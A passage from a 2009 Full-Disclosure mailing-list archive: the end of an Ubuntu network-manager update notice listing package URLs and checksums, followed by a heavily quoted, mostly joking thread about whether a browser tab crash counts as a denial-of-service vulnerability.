    http://ports.ubuntu.com/pool/main/n/network-manager/libnm-glib0_0.7~~svn20081018t105859-0ubuntu1.8.10.2_lpia.deb
      Size/MD5:    52826 b52a1cf3fdfc5e7b2eefb4407eb768a1
    http://ports.ubuntu.com/pool/main/n/network-manager/libnm-util-dev_0.7~~svn20081018t105859-0ubuntu1.8.10.2_lpia.deb
      Size/MD5:    66264 39caaf9daa21e5941ed232caae184660
    http://ports.ubuntu.com/pool/main/n/network-manager/libnm-util0_0.7~~svn20081018t105859-0ubuntu1.8.10.2_lpia.deb
      Size/MD5:    70742 93cefabc57ba5a3253f5795e13023a9a
    http://ports.ubuntu.com/pool/main/n/network-manager/network-manager-dev_0.7~~svn20081018t105859-0ubuntu1.8.10.2_lpia.deb
      Size/MD5:     6362 ef1f2fcb9de3a441faa97a496cdeeffe
    http://ports.ubuntu.com/pool/main/n/network-manager/network-manager_0.7~~svn20081018t105859-0ubuntu1.8.10.2_lpia.deb
      Size/MD5:   259708 ab41d397cf87f04dca4631ba9570393a

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://ports.ubuntu.com/pool/main/n/network-manager/libnm-glib-dev_0.7~~svn20081018t105859-0ubuntu1.8.10.2_powerpc.deb
      Size/MD5:   111880 719ce51233b96a89de6c55250a21a82b
    http://ports.ubuntu.com/pool/main/n/network-manager/libnm-glib0_0.7~~svn20081018t105859-0ubuntu1.8.10.2_powerpc.deb
      Size/MD5:    62218 ca9910877eddbc1aedc8c1c59ccc1fe8
    http://ports.ubuntu.com/pool/main/n/network-manager/libnm-util-dev_0.7~~svn20081018t105859-0ubuntu1.8.10.2_powerpc.deb
      Size/MD5:    81850 2eddceb9dc6f356759bdc0989e02b9aa
    http://ports.ubuntu.com/pool/main/n/network-manager/libnm-util0_0.7~~svn20081018t105859-0ubuntu1.8.10.2_powerpc.deb
      Size/MD5:    79320 46fc422fa935e1e608a34e0fd41691f2
    http://ports.ubuntu.com/pool/main/n/network-manager/network-manager-dev_0.7~~svn20081018t105859-0ubuntu1.8.10.2_powerpc.deb
      Size/MD5:     6358 ed0c910660a9f86bb9e33cc50bb76bf7
    http://ports.ubuntu.com/pool/main/n/network-manager/network-manager_0.7~~svn20081018t105859-0ubuntu1.8.10.2_powerpc.deb
      Size/MD5:   297306 e787cc3e105e34a1a703f9323e712099

  sparc architecture (Sun SPARC/UltraSPARC):

    http://ports.ubuntu.com/pool/main/n/network-manager/libnm-glib-dev_0.7~~svn20081018t105859-0ubuntu1.8.10.2_sparc.deb
      Size/MD5:   104144 0c4f78e6bab71a11c1e1540266512169
    http://ports.ubuntu.com/pool/main/n/network-manager/libnm-glib0_0.7~~svn20081018t105859-0ubuntu1.8.10.2_sparc.deb
      Size/MD5:    56428 f368a9c8694eaaed9e91db1efec4ffb1
    http://ports.ubuntu.com/pool/main/n/network-manager/libnm-util-dev_0.7~~svn20081018t105859-0ubuntu1.8.10.2_sparc.deb
      Size/MD5:    72740 1567dfe6b161af503c63d0eef70c930c
    http://ports.ubuntu.com/pool/main/n/network-manager/libnm-util0_0.7~~svn20081018t105859-0ubuntu1.8.10.2_sparc.deb
      Size/MD5:    73998 3473cc4be864c95a054bb7608c32d7a0
    http://ports.ubuntu.com/pool/main/n/network-manager/network-manager-dev_0.7~~svn20081018t105859-0ubuntu1.8.10.2_sparc.deb
      Size/MD5:     6362 ad5c2d9d34043867d6407caac1731f87
    http://ports.ubuntu.com/pool/main/n/network-manager/network-manager_0.7~~svn20081018t105859-0ubuntu1.8.10.2_sparc.deb
      Size/MD5:   265632 b292daa57f5178e7a88651eb9e133d7a


-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 197 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090303/45b4bba7/attachment.bin 

From bobby.mugabe at hushmail.com  Tue Mar  3 22:45:49 2009
From: bobby.mugabe at hushmail.com (bobby.mugabe at hushmail.com)
Date: Tue, 03 Mar 2009 17:45:49 -0500
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
Message-ID: <20090303224549.E455A28042@smtp.hushmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Mr. Stark,

Adhering to the tradition of my fathers, I do not sport any facial
hair and take offense to your comment, and since you're obviously
lacking basic observational skills I highly doubt you're even as
talented as my Cadburys, at anything.

- -bm

On Tue, 03 Mar 2009 11:11:35 -0500 Jason Starks
<jstarks440 at gmail.com> wrote:
>Mr. Mustache, it is obvious that I have more talent than a box of
>chocolates, and that you envy the sadistic nature of your fellow
>trolls on
>this list. Point blank.
>
>On Tue, Mar 3, 2009 at 6:18 AM, <bobby.mugabe at hushmail.com> wrote:
>
>> -----BEGIN PGP SIGNED MESSAGE-----
>> Hash: SHA1
>>
>> Dear Valdis,
>>
>> I have been able to reproduce a similar situation using Firefox
>> under MacOSX, using different websites and a significantly
>larger
>> number of tabs.  Do you think these issues might be related or
>are
>> they operating system specific?  What model of CPU were you
>testing
>> this issue under?
>>
>> Thanks,
>> - -bm
>>
>> On Mon, 02 Mar 2009 23:41:53 -0500 Valdis' Mustache
>> <security.mustache at gmail.com> wrote:
>> >I would like to point out that I have been able to create a
>"hung"
>> >state in the Firefox browser by opening 30 simultaneous tabs
>> >pointed
>> >at http://www.welcometointernet.org/lawnmower/ and adding a
>31st
>> >tab
>> >viewing http://www.hotrussianbrides.com.
>> >
>> >Also, I am not amused.
>> >
>> >
>> >Your humble servant,
>> >Ze Mustache von Kletnieks
>> >
>> >On Mon, Mar 2, 2009 at 10:29 PM,  <bobby.mugabe at hushmail.com>
>> >wrote:
>> >> -----BEGIN PGP SIGNED MESSAGE-----
>> >> Hash: SHA1
>> >>
>> >> Dear Nick,
>> >>
>> >> You and Thierry Loller are wrong.
>> >>
>> >> - -bm
>> >>
>> >> On Mon, 02 Mar 2009 21:28:17 -0500 Nick FitzGerald
><nick at virus-
>> >> l.demon.co.uk> wrote:
>> >>>Chris Evans to Thierry Zoller:
>> >>>
>> >>>> > Example
>> >>>> > If a chrome tab can be crashed arbritarely (remotely) it
>is
>> >a
>> >>>DoS attack
>> >>>> > but with ridiculy low impact to the end-user as it only
>> >>>crashes the tab
>> >>>> > it was subjected to, and not the whole browser or
>operation
>> >>>system.
>> >>>> > But the fact remains that this was the impact of a DoS
>> >>>condition,
>> >>>> > the tab crashes arbritarily.
>> >>>>
>> >>>> Eh? If you visit www.evil.com and your tab crashes, that's
>no
>> >>>> different from www.evil.com closing its own tab with
>> >Javascript.
>> >>>
>> >>>But what if www.evil.com has run an injection attack of some
>> >kind
>> >>>(SQL,
>> >>>XSS in blog comments, etc, etc) against www.stupid.com?
>> >>>
>> >>>Visitors to stupid.com then suffer a DoS...
>> >>>
>> >>>Yes, stupid.com should run their site better, fix their
>myriad
>> >XSS
>> >>>holes,
>> >>>etc, etc.
>> >>>
>> >>>But this is the Internet, so this "software flaw" can be
>> >leveraged
>> >>>as
>> >>>security vulnerability.
>> >>>
>> >>>I'm with Thierry on this...
>> >>>
>> >>>
>> >>>Regards,
>> >>>
>> >>>Nick FitzGerald
>> >>>
>> >>>
>> >>>_______________________________________________
>> >>>Full-Disclosure - We believe in it.
>> >>>Charter: http://lists.grok.org.uk/full-disclosure-
>charter.html
>> >>>Hosted and sponsored by Secunia - http://secunia.com/
>> >> -----BEGIN PGP SIGNATURE-----
>> >> Charset: UTF8
>> >> Version: Hush 3.0
>> >> Note: This signature can be verified at
>> >https://www.hushtools.com/verify
>> >>
>> >>
>>
>>wpwEAQMCAAYFAkmso8YACgkQhNp8gzZx3sj93AP/a+oFmgLbU2Elo0livpG3c6Qvh8
>+
>> >0
>> >>
>>
>>b69LocD4LJmaR3NR4H7AHZYJiqm1TegwdTvtgY4sZd0lXi5EKZYTJMl9tj2Pd53fxX
>F
>> >m
>> >>
>>
>>7eK5yf6oRGggrdOLyDjRkMV3bVnOppwXviMHdk8quxx8sDRxA99ZlKKUA40RXFa5eA
>h
>> >p
>> >> UpXIZ1s=
>> >> =zgqd
>> >> -----END PGP SIGNATURE-----
>> >>
>> >> --
>> >> Become a medical transcriptionist at home, at your own pace.
>> >>
>>
>>http://tagline.hushmail.com/fc/BLSrjkqfMmg6RbMKs4GE43pzNkcKJRWafc7
>c
>> >DXj4iASDyccuLtQA2i9f1le/
>> >>
>> >> _______________________________________________
>> >> Full-Disclosure - We believe in it.
>> >> Charter: http://lists.grok.org.uk/full-disclosure-
>charter.html
>> >> Hosted and sponsored by Secunia - http://secunia.com/
>> >>
>> >
>> >_______________________________________________
>> >Full-Disclosure - We believe in it.
>> >Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> >Hosted and sponsored by Secunia - http://secunia.com/
>> -----BEGIN PGP SIGNATURE-----
>> Charset: UTF8
>> Version: Hush 3.0
>> Note: This signature can be verified at
>https://www.hushtools.com/verify
>>
>>
>wpwEAQMCAAYFAkmtEaMACgkQhNp8gzZx3shZFwQAjiE2W/WUkNHrLIu1lBRz6oeDVrk
>n
>>
>TmV8TCcaDpsvkRmhNrKFXYObPEatdJ0po7Iul333mllga8+elMukkH15J7BwUZdGlNA
>5
>>
>wpE6zNx8ks6L9qS9UxklE8BErdTfUY/OF5FK4aZ92JcngL1xFTkZlDJS0lvIKGry3vj
>u
>> P7xAvvQ=
>> =avqi
>> -----END PGP SIGNATURE-----
>>
>> --
>> Click to find great rates on health insurance, save big, shop
>here.
>>
>>
>http://tagline.hushmail.com/fc/BLSrjkqeRcNd9NCXSJiZxV7gq821SXvgq2GW
>ai39WLJo4QlOxYCnjxaqn9u/
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
-----BEGIN PGP SIGNATURE-----
Charset: UTF8
Version: Hush 3.0
Note: This signature can be verified at https://www.hushtools.com/verify

wpwEAQMCAAYFAkmtsnoACgkQhNp8gzZx3sgiJwQAnL87haXBbGW80ORA4Ufa7Leh0JSg
XyPSdH32tRZUA+dJaRhoaWJt6HqaKAEltZgsqkrwsA6pTgIIx/IKYdRATBqsrdaBwrFM
kKhLez2kSeOcODLg1OOpGZ4EwQgZws/Qh1sMQOYjCpBF1W2/q+wvwV8Y8xn4V2MdK4CL
XTUWWLI=
=FOnb
-----END PGP SIGNATURE-----

--
Click for free info on getting an MBA, $200K/ year potential.
 http://tagline.hushmail.com/fc/BLSrjkqZ7DKWGNqnRWKwHlKoUxaNp4Bjb2klof04El4zkr563NAPB0o44py/



From jstarks440 at gmail.com  Tue Mar  3 22:54:51 2009
From: jstarks440 at gmail.com (Jason Starks)
Date: Tue, 3 Mar 2009 17:54:51 -0500
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <20090303224549.E455A28042@smtp.hushmail.com>
References: <20090303224549.E455A28042@smtp.hushmail.com>
Message-ID: <e1b25fd0903031454vb773977j93ee4b5e2870568a@mail.gmail.com>

Mr. Mustache,

There is a missing "s" on the end of my last name.

Yours truly,

Jason "Bench Press" Starks

On Tue, Mar 3, 2009 at 5:45 PM, <bobby.mugabe at hushmail.com> wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Mr. Stark,
>
> Adhering to the tradition of my fathers, I do not sport any facial
> hair and take offense to your comment, and since you're obviously
> lacking basic observational skills I highly doubt you're even as
> talented as my Cadburys, at anything.
>
> - -bm
>
> On Tue, 03 Mar 2009 11:11:35 -0500 Jason Starks
> <jstarks440 at gmail.com> wrote:
> >Mr. Mustache, it is obvious that I have more talent than a box of
> >chocolates, and that you envy the sadistic nature of your fellow
> >trolls on
> >this list. Point blank.
> >
> >On Tue, Mar 3, 2009 at 6:18 AM, <bobby.mugabe at hushmail.com> wrote:
> >
> >> -----BEGIN PGP SIGNED MESSAGE-----
> >> Hash: SHA1
> >>
> >> Dear Valdis,
> >>
> >> I have been able to reproduce a similar situation using Firefox
> >> under MacOSX, using different websites and a significantly
> >larger
> >> number of tabs.  Do you think these issues might be related or
> >are
> >> they operating system specific?  What model of CPU were you
> >testing
> >> this issue under?
> >>
> >> Thanks,
> >> - -bm
> >>
> >> On Mon, 02 Mar 2009 23:41:53 -0500 Valdis' Mustache
> >> <security.mustache at gmail.com> wrote:
> >> >I would like to point out that I have been able to create a
> >"hung"
> >> >state in the Firefox browser by opening 30 simultaneous tabs
> >> >pointed
> >> >at http://www.welcometointernet.org/lawnmower/ and adding a
> >31st
> >> >tab
> >> >viewing http://www.hotrussianbrides.com.
> >> >
> >> >Also, I am not amused.
> >> >
> >> >
> >> >Your humble servant,
> >> >Ze Mustache von Kletnieks
> >> >
> >> >On Mon, Mar 2, 2009 at 10:29 PM,  <bobby.mugabe at hushmail.com>
> >> >wrote:
> >> >> -----BEGIN PGP SIGNED MESSAGE-----
> >> >> Hash: SHA1
> >> >>
> >> >> Dear Nick,
> >> >>
> >> >> You and Thierry Loller are wrong.
> >> >>
> >> >> - -bm
> >> >>
> >> >> On Mon, 02 Mar 2009 21:28:17 -0500 Nick FitzGerald
> ><nick at virus-
> >> >> l.demon.co.uk> wrote:
> >> >>>Chris Evans to Thierry Zoller:
> >> >>>
> >> >>>> > Example
> >> >>>> > If a chrome tab can be crashed arbritarely (remotely) it
> >is
> >> >a
> >> >>>DoS attack
> >> >>>> > but with ridiculy low impact to the end-user as it only
> >> >>>crashes the tab
> >> >>>> > it was subjected to, and not the whole browser or
> >operation
> >> >>>system.
> >> >>>> > But the fact remains that this was the impact of a DoS
> >> >>>condition,
> >> >>>> > the tab crashes arbritarily.
> >> >>>>
> >> >>>> Eh? If you visit www.evil.com and your tab crashes, that's
> >no
> >> >>>> different from www.evil.com closing its own tab with
> >> >Javascript.
> >> >>>
> >> >>>But what if www.evil.com has run an injection attack of some
> >> >kind
> >> >>>(SQL,
> >> >>>XSS in blog comments, etc, etc) against www.stupid.com?
> >> >>>
> >> >>>Visitors to stupid.com then suffer a DoS...
> >> >>>
> >> >>>Yes, stupid.com should run their site better, fix their
> >myriad
> >> >XSS
> >> >>>holes,
> >> >>>etc, etc.
> >> >>>
> >> >>>But this is the Internet, so this "software flaw" can be
> >> >leveraged
> >> >>>as
> >> >>>security vulnerability.
> >> >>>
> >> >>>I'm with Thierry on this...
> >> >>>
> >> >>>
> >> >>>Regards,
> >> >>>
> >> >>>Nick FitzGerald
> >> >>>
> >> >>>
> >> >>>_______________________________________________
> >> >>>Full-Disclosure - We believe in it.
> >> >>>Charter: http://lists.grok.org.uk/full-disclosure-
> >charter.html
> >> >>>Hosted and sponsored by Secunia - http://secunia.com/
> >> >> -----BEGIN PGP SIGNATURE-----
> >> >> Charset: UTF8
> >> >> Version: Hush 3.0
> >> >> Note: This signature can be verified at
> >> >https://www.hushtools.com/verify
> >> >>
> >> >>
> >>
> >>wpwEAQMCAAYFAkmso8YACgkQhNp8gzZx3sj93AP/a+oFmgLbU2Elo0livpG3c6Qvh8
> >+
> >> >0
> >> >>
> >>
> >>b69LocD4LJmaR3NR4H7AHZYJiqm1TegwdTvtgY4sZd0lXi5EKZYTJMl9tj2Pd53fxX
> >F
> >> >m
> >> >>
> >>
> >>7eK5yf6oRGggrdOLyDjRkMV3bVnOppwXviMHdk8quxx8sDRxA99ZlKKUA40RXFa5eA
> >h
> >> >p
> >> >> UpXIZ1s=
> >> >> =zgqd
> >> >> -----END PGP SIGNATURE-----
> >> >>
> >> >> --
> >> >> Become a medical transcriptionist at home, at your own pace.
> >> >>
> >>
> >>http://tagline.hushmail.com/fc/BLSrjkqfMmg6RbMKs4GE43pzNkcKJRWafc7
> >c
> >> >DXj4iASDyccuLtQA2i9f1le/
> >> >>
> >> >> _______________________________________________
> >> >> Full-Disclosure - We believe in it.
> >> >> Charter: http://lists.grok.org.uk/full-disclosure-
> >charter.html
> >> >> Hosted and sponsored by Secunia - http://secunia.com/
> >> >>
> >> >
> >> >_______________________________________________
> >> >Full-Disclosure - We believe in it.
> >> >Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> >> >Hosted and sponsored by Secunia - http://secunia.com/
> >> -----BEGIN PGP SIGNATURE-----
> >> Charset: UTF8
> >> Version: Hush 3.0
> >> Note: This signature can be verified at
> >https://www.hushtools.com/verify
> >>
> >>
> >wpwEAQMCAAYFAkmtEaMACgkQhNp8gzZx3shZFwQAjiE2W/WUkNHrLIu1lBRz6oeDVrk
> >n
> >>
> >TmV8TCcaDpsvkRmhNrKFXYObPEatdJ0po7Iul333mllga8+elMukkH15J7BwUZdGlNA
> >5
> >>
> >wpE6zNx8ks6L9qS9UxklE8BErdTfUY/OF5FK4aZ92JcngL1xFTkZlDJS0lvIKGry3vj
> >u
> >> P7xAvvQ=
> >> =avqi
> >> -----END PGP SIGNATURE-----
> >>
> >> --
> >> Click to find great rates on health insurance, save big, shop
> >here.
> >>
> >>
> >http://tagline.hushmail.com/fc/BLSrjkqeRcNd9NCXSJiZxV7gq821SXvgq2GW
> >ai39WLJo4QlOxYCnjxaqn9u/
> >>
> >> _______________________________________________
> >> Full-Disclosure - We believe in it.
> >> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> >> Hosted and sponsored by Secunia - http://secunia.com/
> >>
> -----BEGIN PGP SIGNATURE-----
> Charset: UTF8
> Version: Hush 3.0
> Note: This signature can be verified at https://www.hushtools.com/verify
>
> wpwEAQMCAAYFAkmtsnoACgkQhNp8gzZx3sgiJwQAnL87haXBbGW80ORA4Ufa7Leh0JSg
> XyPSdH32tRZUA+dJaRhoaWJt6HqaKAEltZgsqkrwsA6pTgIIx/IKYdRATBqsrdaBwrFM
> kKhLez2kSeOcODLg1OOpGZ4EwQgZws/Qh1sMQOYjCpBF1W2/q+wvwV8Y8xn4V2MdK4CL
> XTUWWLI=
> =FOnb
> -----END PGP SIGNATURE-----
>
> --
> Become a medical transcriptionist at home, at your own pace.
>
> http://tagline.hushmail.com/fc/BLSrjkqfMmd367qFNEy5ii9ij3bU6df9tEPVYBzpFXa7E7s6QHH4MsdQbb6/
>
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090303/1e05751b/attachment.html 

From bobby.mugabe at hushmail.com  Tue Mar  3 22:56:22 2009
From: bobby.mugabe at hushmail.com (bobby.mugabe at hushmail.com)
Date: Tue, 03 Mar 2009 17:56:22 -0500
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
Message-ID: <20090303225622.7F1AD28042@smtp.hushmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Where?

- -bm

On Tue, 03 Mar 2009 17:54:51 -0500 Jason Starks
<jstarks440 at gmail.com> wrote:
>Mr. Mustache,
>
>There is a missing "s" on the end of my last name.
>
>Yours truly,
>
>Jason "Bench Press" Starks
>
>On Tue, Mar 3, 2009 at 5:45 PM, <bobby.mugabe at hushmail.com> wrote:
>
>> -----BEGIN PGP SIGNED MESSAGE-----
>> Hash: SHA1
>>
>> Mr. Stark,
>>
>> Adhering to the tradition of my fathers, I do not sport any
>facial
>> hair and take offense to your comment, and since you're
>obviously
>> lacking basic observational skills I highly doubt you're even as
>> talented as my Cadburys, at anything.
>>
>> - -bm
>>
>> On Tue, 03 Mar 2009 11:11:35 -0500 Jason Starks
>> <jstarks440 at gmail.com> wrote:
>> >Mr. Mustache, it is obvious that I have more talent than a box
>of
>> >chocolates, and that you envy the sadistic nature of your
>fellow
>> >trolls on
>> >this list. Point blank.
>> >
>> >On Tue, Mar 3, 2009 at 6:18 AM, <bobby.mugabe at hushmail.com>
>wrote:
>> >
>> >> -----BEGIN PGP SIGNED MESSAGE-----
>> >> Hash: SHA1
>> >>
>> >> Dear Valdis,
>> >>
>> >> I have been able to reproduce a similar situation using
>Firefox
>> >> under MacOSX, using different websites and a significantly
>> >larger
>> >> number of tabs.  Do you think these issues might be related
>or
>> >are
>> >> they operating system specific?  What model of CPU were you
>> >testing
>> >> this issue under?
>> >>
>> >> Thanks,
>> >> - -bm
>> >>
>> >> On Mon, 02 Mar 2009 23:41:53 -0500 Valdis' Mustache
>> >> <security.mustache at gmail.com> wrote:
>> >> >I would like to point out that I have been able to create a
>> >"hung"
>> >> >state in the Firefox browser by opening 30 simultaneous tabs
>> >> >pointed
>> >> >at http://www.welcometointernet.org/lawnmower/ and adding a
>> >31st
>> >> >tab
>> >> >viewing http://www.hotrussianbrides.com.
>> >> >
>> >> >Also, I am not amused.
>> >> >
>> >> >
>> >> >Your humble servant,
>> >> >Ze Mustache von Kletnieks
>> >> >
>> >> >On Mon, Mar 2, 2009 at 10:29 PM,
><bobby.mugabe at hushmail.com>
>> >> >wrote:
>> >> >> -----BEGIN PGP SIGNED MESSAGE-----
>> >> >> Hash: SHA1
>> >> >>
>> >> >> Dear Nick,
>> >> >>
>> >> >> You and Thierry Loller are wrong.
>> >> >>
>> >> >> - -bm
>> >> >>
>> >> >> On Mon, 02 Mar 2009 21:28:17 -0500 Nick FitzGerald
>> ><nick at virus-
>> >> >> l.demon.co.uk> wrote:
>> >> >>>Chris Evans to Thierry Zoller:
>> >> >>>
>> >> >>>> > Example
>> >> >>>> > If a chrome tab can be crashed arbritarely (remotely)
>it
>> >is
>> >> >a
>> >> >>>DoS attack
>> >> >>>> > but with ridiculy low impact to the end-user as it
>only
>> >> >>>crashes the tab
>> >> >>>> > it was subjected to, and not the whole browser or
>> >operation
>> >> >>>system.
>> >> >>>> > But the fact remains that this was the impact of a DoS
>> >> >>>condition,
>> >> >>>> > the tab crashes arbritarily.
>> >> >>>>
>> >> >>>> Eh? If you visit www.evil.com and your tab crashes,
>that's
>> >no
>> >> >>>> different from www.evil.com closing its own tab with
>> >> >Javascript.
>> >> >>>
>> >> >>>But what if www.evil.com has run an injection attack of
>some
>> >> >kind
>> >> >>>(SQL,
>> >> >>>XSS in blog comments, etc, etc) against www.stupid.com?
>> >> >>>
>> >> >>>Visitors to stupid.com then suffer a DoS...
>> >> >>>
>> >> >>>Yes, stupid.com should run their site better, fix their
>> >myriad
>> >> >XSS
>> >> >>>holes,
>> >> >>>etc, etc.
>> >> >>>
>> >> >>>But this is the Internet, so this "software flaw" can be
>> >> >leveraged
>> >> >>>as
>> >> >>>security vulnerability.
>> >> >>>
>> >> >>>I'm with Thierry on this...
>> >> >>>
>> >> >>>
>> >> >>>Regards,
>> >> >>>
>> >> >>>Nick FitzGerald
>> >> >>>
>> >> >>>
>> >> >>>_______________________________________________
>> >> >>>Full-Disclosure - We believe in it.
>> >> >>>Charter: http://lists.grok.org.uk/full-disclosure-
>> >charter.html
>> >> >>>Hosted and sponsored by Secunia - http://secunia.com/
>> >> >> -----BEGIN PGP SIGNATURE-----
>> >> >> Charset: UTF8
>> >> >> Version: Hush 3.0
>> >> >> Note: This signature can be verified at
>> >> >https://www.hushtools.com/verify
>> >> >>
>> >> >>
>> >>
>>
>>>wpwEAQMCAAYFAkmso8YACgkQhNp8gzZx3sj93AP/a+oFmgLbU2Elo0livpG3c6Qvh
>8
>> >+
>> >> >0
>> >> >>
>> >>
>>
>>>b69LocD4LJmaR3NR4H7AHZYJiqm1TegwdTvtgY4sZd0lXi5EKZYTJMl9tj2Pd53fx
>X
>> >F
>> >> >m
>> >> >>
>> >>
>>
>>>7eK5yf6oRGggrdOLyDjRkMV3bVnOppwXviMHdk8quxx8sDRxA99ZlKKUA40RXFa5e
>A
>> >h
>> >> >p
>> >> >> UpXIZ1s=
>> >> >> =zgqd
>> >> >> -----END PGP SIGNATURE-----
>> >> >>
>> >> >> --
>> >> >> Become a medical transcriptionist at home, at your own
>pace.
>> >> >>
>> >>
>>
>>>http://tagline.hushmail.com/fc/BLSrjkqfMmg6RbMKs4GE43pzNkcKJRWafc
>7
>> >c
>> >> >DXj4iASDyccuLtQA2i9f1le/
>> >> >>
>> >> >> _______________________________________________
>> >> >> Full-Disclosure - We believe in it.
>> >> >> Charter: http://lists.grok.org.uk/full-disclosure-
>> >charter.html
>> >> >> Hosted and sponsored by Secunia - http://secunia.com/
>> >> >>
>> >> >
>> >> >_______________________________________________
>> >> >Full-Disclosure - We believe in it.
>> >> >Charter: http://lists.grok.org.uk/full-disclosure-
>charter.html
>> >> >Hosted and sponsored by Secunia - http://secunia.com/
>> >> -----BEGIN PGP SIGNATURE-----
>> >> Charset: UTF8
>> >> Version: Hush 3.0
>> >> Note: This signature can be verified at
>> >https://www.hushtools.com/verify
>> >>
>> >>
>>
>>wpwEAQMCAAYFAkmtEaMACgkQhNp8gzZx3shZFwQAjiE2W/WUkNHrLIu1lBRz6oeDVr
>k
>> >n
>> >>
>>
>>TmV8TCcaDpsvkRmhNrKFXYObPEatdJ0po7Iul333mllga8+elMukkH15J7BwUZdGlN
>A
>> >5
>> >>
>>
>>wpE6zNx8ks6L9qS9UxklE8BErdTfUY/OF5FK4aZ92JcngL1xFTkZlDJS0lvIKGry3v
>j
>> >u
>> >> P7xAvvQ=
>> >> =avqi
>> >> -----END PGP SIGNATURE-----
>> >>
>> >> --
>> >> Click to find great rates on health insurance, save big, shop
>> >here.
>> >>
>> >>
>>
>>http://tagline.hushmail.com/fc/BLSrjkqeRcNd9NCXSJiZxV7gq821SXvgq2G
>W
>> >ai39WLJo4QlOxYCnjxaqn9u/
>> >>
>> >> _______________________________________________
>> >> Full-Disclosure - We believe in it.
>> >> Charter: http://lists.grok.org.uk/full-disclosure-
>charter.html
>> >> Hosted and sponsored by Secunia - http://secunia.com/
>> >>
>> -----BEGIN PGP SIGNATURE-----
>> Charset: UTF8
>> Version: Hush 3.0
>> Note: This signature can be verified at
>https://www.hushtools.com/verify
>>
>>
>wpwEAQMCAAYFAkmtsnoACgkQhNp8gzZx3sgiJwQAnL87haXBbGW80ORA4Ufa7Leh0JS
>g
>>
>XyPSdH32tRZUA+dJaRhoaWJt6HqaKAEltZgsqkrwsA6pTgIIx/IKYdRATBqsrdaBwrF
>M
>>
>kKhLez2kSeOcODLg1OOpGZ4EwQgZws/Qh1sMQOYjCpBF1W2/q+wvwV8Y8xn4V2MdK4C
>L
>> XTUWWLI=
>> =FOnb
>> -----END PGP SIGNATURE-----
>>
>> --
>> Become a medical transcriptionist at home, at your own pace.
>>
>>
>http://tagline.hushmail.com/fc/BLSrjkqfMmd367qFNEy5ii9ij3bU6df9tEPV
>YBzpFXa7E7s6QHH4MsdQbb6/
>>
>>
-----BEGIN PGP SIGNATURE-----
Charset: UTF8
Version: Hush 3.0
Note: This signature can be verified at https://www.hushtools.com/verify

wpwEAQMCAAYFAkmttPMACgkQhNp8gzZx3sjzEwP+LKS6V4qJiWSZckzKh/oS5VSCWKZ6
1bV6uhWvfZKflCc19WDP0qvX/39nXQnciHu77C5t2rc1Sz8puZ4uqW9jvc1vSLB6Ixhk
f9kJc/Xqy3jz2QgQn7ljkTlfLhiylI1Y4DSnl/VH7gQfMFLCzFaPY7MkX596quYacZu3
eJKIjEU=
=MEss
-----END PGP SIGNATURE-----

--
Click to find moving companies, movers, van lines,  and auto transport services. Low prices.
 http://tagline.hushmail.com/fc/BLSrjkqhfqqZm9wDnmxCJFubdjlhBfmHURKGrvN6Q0FfT4PdKQnqKf1mLIk/



From jstarks440 at gmail.com  Tue Mar  3 23:01:05 2009
From: jstarks440 at gmail.com (Jason Starks)
Date: Tue, 3 Mar 2009 18:01:05 -0500
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <20090303225622.7F1AD28042@smtp.hushmail.com>
References: <20090303225622.7F1AD28042@smtp.hushmail.com>
Message-ID: <e1b25fd0903031501r25e0b2aav6c0c612dc0de364@mail.gmail.com>

Right..

>On Tue, Mar 3, 2009 at 5:45 PM, <bobby.mugabe at hushmail.com> wrote:
>
>> -----BEGIN PGP SIGNED MESSAGE-----
>> Hash: SHA1
>>
>> Mr. Stark,

There.

On Tue, Mar 3, 2009 at 5:56 PM, <bobby.mugabe at hushmail.com> wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Where?
>
> - -bm
>
> On Tue, 03 Mar 2009 17:54:51 -0500 Jason Starks
> <jstarks440 at gmail.com> wrote:
> >Mr. Mustache,
> >
> >There is a missing "s" on the end of my last name.
> >
> >Yours truly,
> >
> >Jason "Bench Press" Starks
> >
> >On Tue, Mar 3, 2009 at 5:45 PM, <bobby.mugabe at hushmail.com> wrote:
> >
> >> -----BEGIN PGP SIGNED MESSAGE-----
> >> Hash: SHA1
> >>
> >> Mr. Stark,
> >>
> >> Adhering to the tradition of my fathers, I do not sport any
> >facial
> >> hair and take offense to your comment, and since you're
> >obviously
> >> lacking basic observational skills I highly doubt you're even as
> >> talented as my Cadburys, at anything.
> >>
> >> - -bm
> >>
> >> On Tue, 03 Mar 2009 11:11:35 -0500 Jason Starks
> >> <jstarks440 at gmail.com> wrote:
> >> >Mr. Mustache, it is obvious that I have more talent than a box
> >of
> >> >chocolates, and that you envy the sadistic nature of your
> >fellow
> >> >trolls on
> >> >this list. Point blank.
> >> >
> >> >On Tue, Mar 3, 2009 at 6:18 AM, <bobby.mugabe at hushmail.com>
> >wrote:
> >> >
> >> >> -----BEGIN PGP SIGNED MESSAGE-----
> >> >> Hash: SHA1
> >> >>
> >> >> Dear Valdis,
> >> >>
> >> >> I have been able to reproduce a similar situation using
> >Firefox
> >> >> under MacOSX, using different websites and a significantly
> >> >larger
> >> >> number of tabs.  Do you think these issues might be related
> >or
> >> >are
> >> >> they operating system specific?  What model of CPU were you
> >> >testing
> >> >> this issue under?
> >> >>
> >> >> Thanks,
> >> >> - -bm
> >> >>
> >> >> On Mon, 02 Mar 2009 23:41:53 -0500 Valdis' Mustache
> >> >> <security.mustache at gmail.com> wrote:
> >> >> >I would like to point out that I have been able to create a
